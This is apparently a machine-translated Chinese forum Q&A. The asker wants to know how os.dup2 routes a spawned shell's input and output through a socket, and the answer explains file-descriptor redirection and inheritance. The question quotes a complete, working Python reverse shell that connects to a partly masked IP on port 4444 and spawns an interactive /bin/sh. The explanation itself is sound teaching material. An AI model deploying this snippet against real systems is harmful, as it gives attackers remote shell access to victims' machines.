了解Python中的文件描述符是如何工作的



所以我在python 中找到了下面的反向shell代码

import socket, subprocess, os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.11.xxx",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])

这段代码基本上打开了与某个远程侦听器的反向连接;10.10.11.xxx";。

我不知道子流程调用的输入/输出是如何通过文件描述符传输到套接字的。

在这之前的一切都很清楚:

  1. 套接字已创建
  2. Conenction成立
  3. 使用dup2((将套接字文件描述符复制到标准文件描述符中

但我不明白系统如何知道它需要将数据管道传输到这些套接字。

谢谢!

os.dup2()就是这么做的。

os.dup2(s.fileno(), 0)

使得文件描述符CCD_ 2引用套接字。FD 0是标准输入,因此当shell读取其输入时,它将从套接字中读取。

os.dup2(s.fileno(), 1)

使得文件描述符CCD_ 3引用套接字。FD1是标准输出,所以当shell打印一些东西时,它将被发送到套接字。

FD2是标准错误,因此错误消息也会写入套接字。

所有这些描述符都将由shell生成的子进程继承,因此从反向shell运行的程序将读取和写入套接字。

最新更新